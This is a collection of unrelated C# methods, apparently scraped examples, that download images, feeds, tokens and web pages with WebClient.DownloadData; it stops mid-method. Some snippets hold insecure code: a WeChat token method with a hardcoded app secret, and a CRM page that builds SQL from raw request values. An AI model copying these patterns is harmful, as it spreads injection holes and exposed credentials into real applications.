public static void Run() { // ExStart:1 // The path to the documents directory. string dataDir = RunExamples.GetDataDir(System.Reflection.MethodBase.GetCurrentMethod().DeclaringType); // Define memory stream object System.IO.MemoryStream objImage; // Define web client object System.Net.WebClient objwebClient; // Define a string which will hold the web image url string sURL = "http:// Www.aspose.com/Images/aspose-logo.jpg"; try { // Instantiate the web client object objwebClient = new System.Net.WebClient(); // Now, extract data into memory stream downloading the image data into the array of bytes objImage = new System.IO.MemoryStream(objwebClient.DownloadData(sURL)); // Create a new workbook Aspose.Cells.Workbook wb = new Aspose.Cells.Workbook(); // Get the first worksheet in the book Aspose.Cells.Worksheet sheet = wb.Worksheets[0]; // Get the first worksheet pictures collection Aspose.Cells.Drawing.PictureCollection pictures = sheet.Pictures; // Insert the picture from the stream to B2 cell pictures.Add(1, 1, objImage); // Save the excel file wb.Save(dataDir+ "webimagebook.out.xlsx"); } catch (Exception ex) { // Write the error message on the console Console.WriteLine(ex.Message); } // ExEnd:1 }
public bool Go(TVSettings settings, ref bool pause, TVRenameStats stats) { System.Net.WebClient wc = new System.Net.WebClient(); try { byte[] r = wc.DownloadData(this.RSS.URL); if ((r == null) || (r.Length == 0)) { this.Error = true; this.ErrorText = "No data downloaded"; this.Done = true; return false; } string saveTemp = Path.GetTempPath() + System.IO.Path.DirectorySeparatorChar + settings.FilenameFriendly(this.RSS.Title); if (new FileInfo(saveTemp).Extension.ToLower() != "torrent") saveTemp += ".torrent"; File.WriteAllBytes(saveTemp, r); System.Diagnostics.Process.Start(settings.uTorrentPath, "/directory \"" + (new FileInfo(this.TheFileNoExt).Directory.FullName) + "\" \"" + saveTemp + "\""); this.Done = true; return true; } catch (Exception e) { this.ErrorText = e.Message; this.Error = true; this.Done = true; return false; } }
public static string GetDonationDriveFromWeb() { string sourceUrl = ConfigurationManager.AppSettings["JsDataSourceUrl"]; using (var wc = new System.Net.WebClient()) using (MemoryStream stream = new MemoryStream(wc.DownloadData(sourceUrl))) return Encoding.UTF8.GetString(stream.ToArray()); }
internal byte[] GetBinaryFromURL(string URL) { LogProvider.LogMessage(string.Format("Url.GetBinaryFromURL - '{0}'", URL)); string cacheKey = string.Format("GetBinaryFromURL_{0}", URL); var cached = CacheProvider.Get<byte[]>(cacheKey); if (cached != null) { LogProvider.LogMessage("Url.GetBinaryFromURL : Returning cached result"); return cached; } LogProvider.LogMessage("Url.GetBinaryFromURL : Cached result unavailable, fetching url content"); var webClient = new System.Net.WebClient(); byte[] result; try { result = webClient.DownloadData(URL); } catch (Exception error) { if (LogProvider.HandleAndReturnIfToThrowError(error)) throw; return null; } CacheProvider.Set(result, cacheKey); return result; }
protected void EncryptionButtonInValidateCard_Click(object sender, EventArgs e) { Uri baseUri = new Uri("http://webstrar49.fulton.asu.edu/page3/Service1.svc"); UriTemplate myTemplate = new UriTemplate("encrypt?plainText={plainText}"); String plainText = PlainText_TextBox1.Text; Uri completeUri = myTemplate.BindByPosition(baseUri, plainText); System.Net.WebClient webClient = new System.Net.WebClient(); byte[] content = webClient.DownloadData(completeUri); //EncryptionService.Service1Client encryptionClient = new EncryptionService.Service1Client(); // String cipher=encryptionClient.encrypt(plainText); String contentinString = Encoding.UTF8.GetString(content, 0, content.Length); String pattern = @"(?<=\>)(.*?)(?=\<)"; Regex r = new Regex(pattern); Match m = r.Match(contentinString); String cipher = ""; if (m.Success) { cipher = m.Groups[1].ToString(); } cipherTextBox.Enabled = true; cipherTextBox.Text = cipher; cipherTextBox.Enabled = false; }
public static string readOCR (Uri ocr_url) { AzureSearchServiceController checkUrl = new AzureSearchServiceController(); string ocrPrevText = ""; if (checkUrl.RemoteFileExists(ocr_url.ToString())) { System.Net.WebClient wc = new System.Net.WebClient(); byte[] raw = wc.DownloadData(ocr_url); string webData = System.Text.Encoding.UTF8.GetString(raw); string[] ocrSplit = webData.Split(' '); for (int i = 0; i < 300; i++) { ocrPrevText += ocrSplit[i]; ocrPrevText += " "; } return ocrPrevText; } else { ocrPrevText ="Unfortunately OCR is not available for this document"; } return ocrPrevText; }
private string getXMLDocument(string url) { // Grab the body of xml document from its source System.Net.WebClient wc = new System.Net.WebClient(); byte[] webData = wc.DownloadData(url); // Get the downloaded data into a form suitable for XML processing char[] charData = new char[webData.Length]; for (int i = 0; i < charData.Length; i++) { charData[i] = (char)webData[i]; } string xmlStr = new String(charData); // Clean up the document (first "<" and last ">" and everything in between) int start = xmlStr.IndexOf("<", 0, xmlStr.Length - 1); int length = xmlStr.LastIndexOf(">") - start + 1; // Return only the XML document parts return xmlStr.Substring(start, length); }
public MainWindow() { InitializeComponent(); // 以下を追加 this.btnDownload.Click += (sender, e) => { var client = new System.Net.WebClient(); byte[] buffer = client.DownloadData("http://k-db.com/?p=all&download=csv"); string str = Encoding.Default.GetString(buffer); string[] rows = str.Split(new string[] { Environment.NewLine }, StringSplitOptions.None); // 1行目をラベルに表示 this.lblTitle.Content = rows[0]; // 2行目以下はカンマ区切りから文字列の配列に変換しておく List<string[]> list = new List<string[]>(); rows.ToList().ForEach(row => list.Add(row.Split(new char[] { ',' }))); // ヘッダの作成(データバインド用の設計) GridView view = new GridView(); list.First().Select((item, cnt) => new { Count = cnt, Item = item }).ToList().ForEach(header => { view.Columns.Add( new GridViewColumn() { Header = header.Item, DisplayMemberBinding = new Binding(string.Format("[{0}]", header.Count)) }); }); // これらをリストビューに設定 lvStockList.View = view; lvStockList.ItemsSource = list.Skip(1); }; }
public static decimal[] getCoordinates(string address1, string address2, string city, string state, string zipcode, string appId) { string retVal; decimal[] coordinates = new decimal[2]; System.Net.WebClient webClient = new System.Net.WebClient(); string request = "http://where.yahooapis.com/geocode?location=" + address1 + "+" + address2 + "+" + city + "+" + state + "+" + zipcode + "&" + appId; byte[] responseXML; try { responseXML = webClient.DownloadData(request); System.Text.UTF8Encoding objUTF8 = new System.Text.UTF8Encoding(); retVal = objUTF8.GetString(responseXML) + "\n"; } catch (System.Exception ex) { retVal = ex.Message; } // parse the return values XmlDocument xml = new XmlDocument(); xml.LoadXml(retVal); XmlNode ndLatitude = xml.SelectSingleNode("//latitude"); XmlNode ndLongitude = xml.SelectSingleNode("//longitude"); coordinates[0] = Convert.ToDecimal(ndLatitude.InnerText); coordinates[1] = Convert.ToDecimal(ndLongitude.InnerText); return coordinates; }
public void ProcessRequest(HttpContext context) { String pageIDString = context.Request.QueryString["PageID"] as String; if (pageIDString == null) return; String heightString = context.Request.QueryString["h"] as String; String widthString = context.Request.QueryString["w"] as String; int height; int width; if (!Int32.TryParse(heightString, out height)) height = 300; if (!Int32.TryParse(widthString, out width)) width = 200; int pageID; if (Int32.TryParse(pageIDString, out pageID)) { BHLProvider provider = new BHLProvider(); PageSummaryView ps = provider.PageSummarySelectByPageId(pageID); String imageUrl = String.Empty; if (ps.ExternalURL == null) { String cat = (ps.WebVirtualDirectory == String.Empty) ? "Researchimages" : ps.WebVirtualDirectory; String item = ps.MARCBibID + "/" + ps.BarCode + "/jp2/" + ps.FileNamePrefix + ".jp2"; imageUrl = String.Format("http://images.mobot.org/ImageWeb/GetImage.aspx?cat={0}&item={1}&wid=" + width.ToString() + "&hei= " + height.ToString() + "&rgn=0,0,1,1&method=scale", cat, item); } else { imageUrl = ps.ExternalURL; } System.Net.WebClient client = new System.Net.WebClient(); context.Response.ContentType = "image/jpeg"; context.Response.BinaryWrite(client.DownloadData(imageUrl)); } }
public override bool ResizeImage(string sourceImagePath, Size newSize) { var fileurl = this._imageFile.GetImageUrl(sourceImagePath); System.Net.WebClient net = new System.Net.WebClient(); var file = net.DownloadData(fileurl); var newstream = this._imageFile.ResizeImage(file, newSize.Width, newSize.Height); this._imageFile.UpdateImageFile(newstream, sourceImagePath); var model = DB.GetModelByHash(sourceImagePath); model.Size = (int)newstream.Length; var size = Dev.Comm.ImageHelper.GetImageSize(newstream); model.Width = size.Width; model.Height = size.Height; DB.UpdateModel(model); return true; }
public static Stream Download(this Uri url) { using (var webClient = new System.Net.WebClient()) { var data = webClient.DownloadData(url); return new MemoryStream(data); } }
public ActionResult Return(string rid, string SPListId, string documentName, string SPSource, string SPListURLDir) { // Get the tokens string spAppToken = Request.Cookies["SPAppToken"].Value; string spHostURL = Request.Cookies["SPHostURL"].Value; using (var client = new DocumentEndPointClient()) { var getStatusResponse = client.getStatus(new getstatusrequest { password = PASSWORD, service = SERVICE, requestid = new string[] { rid } }); // If there's no signature result available, we assume it's been cancelled // and just send the user back to the document list he/she came from if (getStatusResponse.First().documentstatus == null) { return Redirect(SPSource); } // Otherwise, we get the URI to the SDO (signed document object) string resultUri = getStatusResponse.First().documentstatus.First().resulturi; // Let's just use an old school HTTP WebClient with Basic authentication // to download the signed document from Signicat Session Data Storage byte[] sdo; string contentType; using (var webClient = new System.Net.WebClient()) { webClient.Credentials = new System.Net.NetworkCredential(SERVICE, PASSWORD); sdo = webClient.DownloadData(resultUri); contentType = webClient.ResponseHeaders["Content-Type"]; } // Now, let's upload it to the same document list as the original SharePointContextToken contextToken = TokenHelper.ReadAndValidateContextToken(spAppToken, Request.Url.Authority); string accessToken = TokenHelper.GetAccessToken(contextToken, new Uri(spHostURL).Authority).AccessToken; using (var clientContext = TokenHelper.GetClientContextWithAccessToken(spHostURL.ToString(), accessToken)) { if (clientContext != null) { List list = clientContext.Web.Lists.GetById(Guid.Parse(SPListId)); var fileCreationInformation = new FileCreationInformation { Content = sdo, Overwrite = true, Url = spHostURL + SPListURLDir + "/" + documentName + " - SIGNED" + GetFileExtensionForContentType(contentType) }; var uploadFile = list.RootFolder.Files.Add(fileCreationInformation); uploadFile.ListItemAllFields.Update(); clientContext.ExecuteQuery(); } } } return Redirect(SPSource); }
public XfireContactProvider(EasySocial.FrameWork.Intelligence.CoreIntelligence coreIntelligence, object[] contactData, EasySocial.FrameWork.Networking.NetworkProviders.NetworkProvider networkProvider) : base(coreIntelligence, contactData, networkProvider) { // TODO: Complete member initialization this._coreIntelligence = coreIntelligence; this._contactData = contactData; this._networkProvider = (Networking.NetworkProviders.XfireNetworkProvider)networkProvider; //Name = (String)(contactData[1]); TODO Identifier = (String)contactData[0]; //if (Name == string.Empty) Name = (String)(contactData[0]); TODO StatusColor = coreIntelligence.SocialIntelligence.StatusColors["Offline"]; System.Net.WebClient wc = new System.Net.WebClient(); string user = (string)contactData[0]; this.ImageAsBytes = wc.DownloadData(new Uri("http://screenshot.xfire.com/avatar/160/" + user + ".jpg")); if (this.ImageAsBytes.Count() == 0) this.ImageAsBytes = wc.DownloadData(new Uri("http://yammer.ucdavis.edu/lib/exe/fetch.php?w=150&h=&cache=cache&media=shared:no-avatar.jpg")); }
public static string GetMenu(string accessToken) { using (var wc = new System.Net.WebClient()) { var url = "https://api.weixin.qq.com/cgi-bin/menu/get?access_token=" + accessToken; var res = wc.DownloadData(url); return Utities.GetStringFromBytes(res); } }
public static Bitmap getImageAsBitmap(this Uri uri) { var webClient = new System.Net.WebClient(); var imageBytes = webClient.DownloadData(uri); "image size :{0}".info(imageBytes.size()); var memoryStream = new MemoryStream(imageBytes); var bitmap = new Bitmap(memoryStream); return bitmap; }
public static Stream ToStream(this Uri url) { byte[] imageData = null; using (var wc = new System.Net.WebClient()) imageData = wc.DownloadData(url); return new MemoryStream(imageData); }
private ActionResult Download(string url) { using (var client = new System.Net.WebClient()) { return File( client.DownloadData(url), "text/plain; charset=utf-8" ); } }
//// Menu ////////// public static string AccessToken(string appid = "wx8980382cb43a6897", string appsecret = "1137740a67c5152a9cd7af37abb4cd28") { string url = "https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&appid=" + appid + "&secret=" + appsecret; using (var wc = new System.Net.WebClient()) { var data = wc.DownloadData(url); string accessToken = Utities.GetStringFromBytes(data); return accessToken; } }
/// <summary> /// https://developers.podio.com/doc/files/get-raw-file-1004147 /// </summary> public byte[] GetRawFile(int fileId) { byte[] content; using (var request = new System.Net.WebClient()) { string uri = String.Format("{0}/file/{1}/raw?oauth_token={2}", Constants.PODIOAPI_BASEURL, fileId, _client.AuthInfo.AccessToken); content = request.DownloadData(uri); } return content; }
private void button1_Click(object sender, EventArgs e) { System.Net.WebClient wb = new System.Net.WebClient(); byte[] b = wb.DownloadData(textBox1.Text); //byte[] b = wb.DownloadData("http://p.blog.csdn.net/images/p_blog_csdn_net/jinjazz/355056/o_rrr.bmp"); System.IO.MemoryStream ms = new System.IO.MemoryStream(b); System.Drawing.Bitmap bmp = new Bitmap(ms); string str = BmpNumber.Number.getNumber(bmp); label1.Text = str; Console.WriteLine(str); }
public static string GetEmailBody(string templatePath) { System.Net.WebClient objWebClient = new System.Net.WebClient(); byte[] aRequestedHTML = null; string strRequestedHTML = null; aRequestedHTML = objWebClient.DownloadData(templatePath); System.Text.UTF8Encoding objUTF8 = new System.Text.UTF8Encoding(); strRequestedHTML = objUTF8.GetString(aRequestedHTML); return strRequestedHTML; }
protected override void OnCreate(Bundle bundle) { base.OnCreate (bundle); Settings.Instance.Load (); // Create your application here AddPreferencesFromResource (Resource.Layout.Settings); prefBlacklist = FindPreference ("pref_blacklist"); prefReorder = FindPreference ("pref_reorder"); prefDisableHomeDetect = (CheckBoxPreference)FindPreference ("pref_disablecheck"); prefWallpaperUrl = (EditTextPreference)FindPreference ("pref_WallpaperUrl"); prefBlacklist.PreferenceClick += delegate { StartActivity (typeof (SettingsAppShowHideActivity)); }; prefReorder.PreferenceClick += delegate { StartActivity (typeof (ReorderActivity)); }; // Start the intent service, it will decide to stop itself or not prefDisableHomeDetect.PreferenceChange += (sender, e) => StartService (new Intent (this, typeof(ExcuseMeService))); prefWallpaperUrl.PreferenceChange += (sender, e) => { AndHUD.Shared.Show(this, "Downloading Wallpaper..."); var url = prefWallpaperUrl.EditText.Text; Task.Factory.StartNew (() => { try { var http = new System.Net.WebClient (); var bytes = http.DownloadData (url); var path = System.Environment.GetFolderPath(System.Environment.SpecialFolder.MyDocuments); var filename = System.IO.Path.Combine(path, "wallpaper.png"); System.IO.File.WriteAllBytes (filename, bytes); AndHUD.Shared.Dismiss (this); } catch (Exception ex) { AndHUD.Shared.Dismiss (this); Settings.Instance.WallpaperUrl = string.Empty; Toast.MakeText (this, "Failed to Download Wallpaper", ToastLength.Long).Show (); Log.Error ("Downloading Wallpaper Failed", ex); } }); }; }
/// <summary> /// Consumes Web API and returns the response data /// </summary> /// <param name="request"></param> /// <returns></returns> public string GetNumericSequenceJson(string request) { string _sData = string.Empty; string me = string.Empty; try { System.Net.WebClient wc = new System.Net.WebClient(); byte[] response = wc.DownloadData(request); _sData = System.Text.Encoding.ASCII.GetString(response); } catch { _sData = "unable to connect to server "; } return _sData; }
/// <summary> /// 下载网页,同时删除表格和图片 /// </summary> /// <param name="URL"></param> /// <param name="table"></param> /// <returns></returns> public static string downloadWeb(string URL, bool table) { string s; using (System.Net.WebClient wc = new System.Net.WebClient()) { Byte[] pageData = wc.DownloadData(URL); s = System.Text.Encoding.Default.GetString(pageData); //s = System.Text.Encoding.UTF8.GetString(pageData);去除中文乱码 } s = System.Text.RegularExpressions.Regex.Replace(s, @"<table.*>", "", System.Text.RegularExpressions.RegexOptions.IgnoreCase); s = System.Text.RegularExpressions.Regex.Replace(s, @"</table>", "", System.Text.RegularExpressions.RegexOptions.IgnoreCase); s = System.Text.RegularExpressions.Regex.Replace(s, @"<[IMGimg]{3}.*>", "", System.Text.RegularExpressions.RegexOptions.IgnoreCase); return s; }
/// <summary> /// 下载网页 /// </summary> /// <param name="URL"></param> /// <param name="path"></param> public static void downWeb(string URL, string path) { string s; using (System.Net.WebClient wc = new System.Net.WebClient()) { Byte[] pageData = wc.DownloadData(URL); s = System.Text.Encoding.Default.GetString(pageData); //s = System.Text.Encoding.UTF8.GetString(pageData);去除中文乱码 } using (StreamWriter sw = new StreamWriter(path, false, Encoding.Unicode)) { sw.Write(s); } }
private void SendWebRequest() { System.Net.WebClient WClient = new System.Net.WebClient(); Byte[] Raw; try { Raw = WClient.DownloadData(WebAddressForGenerate); } catch (Exception Excp) { WMB.Basics.ReportErrorToEventViewer($"Fehler beim Aufruf von\n\r:{Excp}"); return; } String WebResult = System.Text.Encoding.UTF8.GetString(Raw); }
protected string GetURLSource(string sURL) { System.Net.WebClient wc = new System.Net.WebClient(); try { byte[] raw = wc.DownloadData(sURL); string webData = System.Text.Encoding.UTF8.GetString(raw); webData = System.Text.RegularExpressions.Regex.Replace(webData, "\\r\\n", ""); return webData; } catch { throw new ArgumentException("An error occured while trying to retrieve data."); } }
public static Release GetLatest() { var assemName = typeof(Release).Assembly.GetName(); var client = new System.Net.WebClient(); client.Headers.Add("user-agent", "/erdomke/InnovatorAdmin"); var releaseBytes = client.DownloadData("https://api.github.com/repos/erdomke/InnovatorAdmin/releases"); var jsonReader = JsonReaderWriterFactory.CreateJsonReader(releaseBytes, new System.Xml.XmlDictionaryReaderQuotas()); var doc = XElement.Load(jsonReader); var latestRelease = doc.Elements().OrderByDescending(e => ReformatVersion(e.Element("tag_name").Value)).First(); var result = new Release(); result.DownloadUrl = latestRelease.Element("assets").Elements("item").First().Element("browser_download_url").Value; DateTime publishDate; if (DateTime.TryParse(latestRelease.Element("published_at").Value, out publishDate)) result.PublishDate = publishDate; result.Version = latestRelease.Element("tag_name").Value; return result; }
public static void GetImage(string value, string destinationFileName) { value = value.Replace('\\', '/').Trim(); value = value.Replace("''", string.Empty); destinationFileName = destinationFileName.Replace('/', '\\').Trim(); System.Net.WebClient wc = new System.Net.WebClient(); try { byte[] imageDate = wc.DownloadData(value); if (imageDate != null && imageDate.Length > 0) wc.DownloadFile(value, destinationFileName); } catch (Exception) { } }
public void Search1Delegate(object frpair) { FederateRecord fr = ((SearchStart)frpair).fed; List <SearchResult> results = ((SearchStart)frpair).results; string terms = ((SearchStart)frpair).terms; System.Net.WebClient wc = GetWebClient(); wc.Headers["Authorization"] = ((SearchStart)frpair).Authorization; System.Runtime.Serialization.DataContractSerializer xmls = new System.Runtime.Serialization.DataContractSerializer(typeof(List <SearchResult>)); if (fr.ActivationState == FederateState.Active && fr.AllowFederatedSearch == true) { try { byte[] data = wc.DownloadData(fr.RESTAPI + "/Search/" + terms + "/xml?ID=00-00-00"); List <SearchResult> fed_results = (List <SearchResult>)xmls.ReadObject(new MemoryStream(data)); lock (((System.Collections.IList)results).SyncRoot) { foreach (SearchResult sr in fed_results) { results.Add(sr); } } } catch (System.Exception e) { // throw e; fr.ActivationState = FederateState.Offline; mFederateRegister.UpdateFederateRecord(fr); return; } } }
/// <summary> /// Crop the specified imgPath, zoomLevel, top, left, width and height. /// </summary> /// <param name="imgPath">Image path.</param> /// <param name="zoomLevel">Zoom level.</param> /// <param name="top">Top.</param> /// <param name="left">Left.</param> /// <param name="width">Width.</param> /// <param name="height">Height.</param> public static byte[] Crop(string imgPath, float zoomLevel, int top, int left, int width, int height) { Image sourceImage; if (imgPath.StartsWith("http://")) { var webClient = new System.Net.WebClient(); var imgData = webClient.DownloadData(imgPath); sourceImage = Image.FromStream(new MemoryStream(imgData)); } else { //本地存储 sourceImage = Image.FromFile(imgPath); } Bitmap bitmap = new Bitmap(width, height); Graphics g = Graphics.FromImage(bitmap); g.DrawImage(sourceImage, new Rectangle(0, 0, width, height), new Rectangle((int)(left / zoomLevel), (int)(top / zoomLevel), (int)(width / zoomLevel), (int)(height / zoomLevel)), GraphicsUnit.Pixel); var imgFile = Environment.GetEnvironmentVariable("TEMP") + "\\" + Guid.NewGuid() + ".jpg"; bitmap.Save(imgFile, ImageFormat.Jpeg); sourceImage.Dispose(); g.Dispose(); bitmap.Dispose(); var fs = System.IO.File.OpenRead(imgFile); var bs = new byte[fs.Length]; fs.Read(bs, 0, (int)fs.Length); fs.Close(); System.IO.File.Delete(imgFile); return(bs); }
private string llegir(string sURL) { string var_pagina = string.Empty; // Capturem la pàgina try { System.Net.WebClient client = new System.Net.WebClient(); Byte[] pagedata = client.DownloadData(sURL); var_pagina = System.Text.Encoding.GetEncoding("iso-8859-1").GetString(pagedata); } catch (System.Net.WebException webEx) { if (webEx.Status == System.Net.WebExceptionStatus.ConnectFailure) { System.Windows.Forms.MessageBox.Show("Are you behind a firewall? If so, go through the proxy server"); } else { System.Windows.Forms.MessageBox.Show("Ha d'haver passat alguna cosa:" + Environment.NewLine + webEx.Message); } } return(var_pagina); }
protected byte[] getWebObjects(string url) { System.Net.WebClient client = new System.Net.WebClient(); byte[] byteFile = null; try { byteFile = client.DownloadData(url); } catch (System.Net.WebException wex) { throw wex; } catch (Exception ex) { throw ex; } finally { client.Dispose(); } return(byteFile); }
/// <summary> /// 转换成一个URL(文件系统或网络)<see cref="System.Drawing.Image"/> /// </summary> /// <param name="url">图像的URL路径</param> /// <returns>由此产生的 <see cref="System.Drawing.Image"/></returns> public static System.Drawing.Image ImageFromUrl(string url) { System.Drawing.Image image = null; try { if (!String.IsNullOrEmpty(url)) { Uri uri = new Uri(url); if (uri.IsFile) { System.IO.FileStream fs = new System.IO.FileStream(uri.LocalPath, System.IO.FileMode.Open, System.IO.FileAccess.Read, System.IO.FileShare.ReadWrite); using (fs) { image = ImageFromStream(fs); } } else { System.Net.WebClient wc = new System.Net.WebClient(); // TODO: consider changing this to WebClientEx using (wc) { byte[] bytes = wc.DownloadData(uri); System.IO.MemoryStream ms = new System.IO.MemoryStream(bytes, false); using (ms) { image = ImageFromStream(ms); } } } } } catch { } return(image); }
public void PageInit() { System.Net.WebClient wc = new System.Net.WebClient(); byte[] buff = wc.DownloadData(Server.MapPath("AgreementTemp/Default.htm")); FORM_CONTENT.Value = System.Text.Encoding.GetEncoding("utf-8").GetString(buff); WX.CRM.Customer.MODEL customer = WX.CRM.Customer.GetModel("select * from CRM_Customers where ID=(select CustomerID from CRM_Track where ID=" + Request["TrackID"] + ")"); if (customer != null) { FORM_CONTENT.Value = FORM_CONTENT.Value.Replace("$CustomerName", customer.CustomerName.ToString()).Replace("$jiafang", customer.CustomerName.ToString()); } WX.Main.CurUser.LoadMyCompany(); FORM_CONTENT.Value = FORM_CONTENT.Value.Replace("$yifang", WX.Main.CurUser.MyCompany.Name.ToString()); string product = ""; string allfee = ""; if (Request["TrackID"] != null && Request["TrackID"] != "") { WX.CRM.CustomerAgreement.MODEL agreement = WX.CRM.CustomerAgreement.GetModel("SELECT * FROM CRM_CustomerAgreement where TrackID=" + Request["TrackID"]); if (agreement != null) { allfee = agreement.AllFee.ToString(); string sql = "SELECT * FROM CRM_CustomerProducts where PID=" + agreement.id.ToString() + " and Type=2"; System.Data.DataTable dt = ULCode.QDA.XSql.GetDataTable(sql); if (dt.Rows.Count > 0) { product = "<table border='1' cellpadding=\"0\" cellspacing=\"0\" style='width:100%;'>\n <tr style=\"text-align: center;height:30px; font-weight: bold;\">\n<td>\n 合作形式\n</td>\n<td>\n服务内容\n</td>\n<td>\n报价\n</td>\n<td>\n 其它补充\n</td>\n </tr>"; } for (int i = 0; i < dt.Rows.Count; i++) { product += "<tr>\n<td height='28' align=\"left\">\n" + dt.Rows[i]["ProductName"] + "</td>\n<td width=\"200\">\n" + dt.Rows[i]["Services"] + "</td>\n<td>\n" + dt.Rows[i]["ZDFee"] + "</td>\n<td>\n" + dt.Rows[i]["Remarks"] + "</td>\n</tr>"; } product = product == "" ? "" : product + "</table>"; } } FORM_CONTENT.Value = FORM_CONTENT.Value.Replace("$Products", product).Replace("$AllFee", allfee.ToString()); }
static void InstallUnityDebugger() { EditorUtility.DisplayProgressBar("VSCode", "Downloading Unity Debugger ...", 0.1f); byte[] fileContent; try { using (var webClient = new System.Net.WebClient()) { fileContent = webClient.DownloadData(UnityDebuggerURL); } } catch (Exception e) { if (Debug) { UnityEngine.Debug.Log("[VSCode] " + e.Message); } // Don't go any further if there is an error return; } finally { EditorUtility.ClearProgressBar(); } // Do we have a file to install? if (fileContent != null) { string fileName = System.IO.Path.GetTempPath() + Guid.NewGuid().ToString() + ".vsix"; File.WriteAllBytes(fileName, fileContent); CallVSCode(fileName); } }
protected void btnNightlyRun_Click(object sender, EventArgs e) { String szURL = String.Format(CultureInfo.InvariantCulture, "https://{0}{1}", Request.Url.Host, VirtualPathUtility.ToAbsolute("~/public/TotalsAndcurrencyEmail.aspx")); try { using (System.Net.WebClient wc = new System.Net.WebClient()) { byte[] rgdata = wc.DownloadData(szURL); string szContent = System.Text.UTF8Encoding.UTF8.GetString(rgdata); if (szContent.Contains("-- SuccessToken --")) { lblNightlyRunResult.Text = "Started"; lblNightlyRunResult.CssClass = "success"; btnNightlyRun.Enabled = false; } } } catch (Exception ex) when(!(ex is OutOfMemoryException)) { lblNightlyRunResult.Text = ex.Message; lblNightlyRunResult.CssClass = "error"; } }
// GET: Home public ActionResult Index() { var url = "https://timezoneapi.io/api/ip/"; // var url = "https://timezoneapi.io/api/ip/?ip=5.9.31.87"; using (var client = new System.Net.WebClient()) { var abc = "FromMAster"; var response = client.DownloadData(url); var response1 = Encoding.Default.GetString(response); JavaScriptSerializer oJS = new JavaScriptSerializer(); var oRootObject = oJS.Deserialize <RootObject>(response1); var _country = oRootObject.data.country; var _currency = oRootObject.data.timezone.currency_alpha_code; var ip = oRootObject.data.ip; return(View(oRootObject)); } }
public static string getWebClient(string url) { string retorno = string.Empty; for (int i = 0; i < 5; i++) { try { if (i > 0) { Console.WriteLine(string.Join("Url {0} inacessível. Nova tentativa em 5 segundos", url)); Thread.Sleep(5000); } System.Net.WebClient wc = new System.Net.WebClient(); byte[] raw = wc.DownloadData(url); return(System.Text.Encoding.UTF8.GetString(raw)); } catch (Exception e) { } } return(retorno); }
public FileResult DownloadFile(string namefile, string station) { string[] files = namefile.Split(','); if (files.Length == 1) { DirectoryInfo DI = new DirectoryInfo(Core.StationAudiosFolderPath(station)); string fileAddress = DI.FullName + '/' + namefile; var net = new System.Net.WebClient(); var data = net.DownloadData(fileAddress); var content = new System.IO.MemoryStream(data); return(File(content, "audio/mp4", namefile)); } else { var directory = Core.StationAudiosFolderPath(station); string archive = Path.Combine(Core.getBPVAudioDirectory() + "files", "audios.zip"); var temp = Core.TemporaryFolderPath(); if (System.IO.File.Exists(archive)) { System.IO.File.Delete(archive); } Directory.EnumerateFiles(temp).ToList().ForEach(f => System.IO.File.Delete(f)); foreach (var f in files) { System.IO.File.Copy(Path.Combine(directory, f), Path.Combine(temp, f)); } System.IO.Compression.ZipFile.CreateFromDirectory(temp, archive); return(PhysicalFile(archive, "application/zip", "audios.zip")); } }
internal static void SendEvent(string name) { // If something goes wrong, just stop sending events if (_errorCount > 10) { return; } Task.Create() .Id($"TriggerGaData '{name}'") .Async() .Action(() => { try { using (var wc = new System.Net.WebClient()) { var data = wc.DownloadData($"https://ga-beacon.appspot.com/UA-81494650-1/{name}"); Debug.Print($"TriggerGaData: Success (data_len: {data.Length})"); } } catch (Exception ex) { Debug.Print(ex.ToString()); _errorCount++; } }) .Submit(); }
/// <summary> /// Sends mail for the specified user, using the specified subject. Returns true if it's able to get the data to send. /// </summary> /// <param name="pf">The user to whom the mail should be sent</param> /// <param name="szSubject">The subject line of the mail</param> /// <param name="szParam">Additional parameter to pass</param> /// <returns>True if the mail is successfully sent</returns> private bool SendMailForUser(Profile pf, string szSubject, string szParam) { Encryptors.AdminAuthEncryptor enc = new Encryptors.AdminAuthEncryptor(); String szURL = String.Format(CultureInfo.InvariantCulture, "https://{0}{1}?k={2}&u={3}&p={4}", ActiveBrand.HostName, VirtualPathUtility.ToAbsolute("~/public/TotalsAndcurrencyEmail.aspx"), HttpUtility.UrlEncode(enc.Encrypt(DateTime.Now.ToString("s", CultureInfo.InvariantCulture))), HttpUtility.UrlEncode(pf.UserName), HttpUtility.UrlEncode(szParam)); try { using (System.Net.WebClient wc = new System.Net.WebClient()) { byte[] rgdata = wc.DownloadData(szURL); string szContent = System.Text.UTF8Encoding.UTF8.GetString(rgdata); if (szContent.Contains("-- SuccessToken --")) { util.NotifyUser(szSubject, System.Text.UTF8Encoding.UTF8.GetString(rgdata), new System.Net.Mail.MailAddress(pf.Email, pf.UserFullName), false, true); return(true); } } } catch (Exception ex) when(ex is MyFlightbookException) { } // EAT ANY ERRORS so that we don't skip subsequent users. NotifyUser shouldn't cause any, though. return(false); }
public static byte[] file_get_byte_contents(string fileName) { byte[] sContents; if (fileName.ToLower().IndexOf("http:") > -1) { // URL System.Net.WebClient wc = new System.Net.WebClient(); sContents = wc.DownloadData(fileName); } else { // Get file size FileInfo fi = new FileInfo(fileName); // Disk FileStream fs = new FileStream(fileName, FileMode.Open, FileAccess.Read); BinaryReader br = new BinaryReader(fs); sContents = br.ReadBytes((int)fi.Length); br.Close(); fs.Close(); } return(sContents); }
protected void pageControlDetails_Load(object sender, EventArgs e) { if (Session["fileNameToDownload"] != null) { string fileURL = Session["fileNameToDownload"].ToString().Split('|')[0]; string FileExtn = Session["fileNameToDownload"].ToString().Split('|')[1]; string fileName = Session["fileNameToDownload"].ToString().Split('|')[2]; string storageFileName = Session["fileNameToDownload"].ToString().Split('|')[3]; ASPxPageControl pageControlDetails = (ASPxPageControl)sender; //HtmlGenericControl documentDownloadLink = (HtmlGenericControl)pageControlDetails.FindControl("previewNotAvailableText"); //documentDownloadLink.Visible = true; //documentDownloadLink.InnerHtml = "<a href=\"" + fileURL + "\" download=\"" + fileName + "\">Download File</a>"; if (FileExtn == ".txt") { ASPxRichEdit richEditPreview = (ASPxRichEdit)pageControlDetails.FindControl("richDetailsPreview"); richEditPreview.Visible = true; //richEditPreview.Open(Path.GetTempPath() + "\\" + fileURL); richEditPreview.Open(Guid.NewGuid().ToString(), DevExpress.XtraRichEdit.DocumentFormat.PlainText, () => { byte[] fileData = null; using (var wc = new System.Net.WebClient()) fileData = wc.DownloadData(fileURL); return(new MemoryStream(fileData)); }); } else if (FileExtn == ".doc") { ASPxRichEdit richEditPreview = 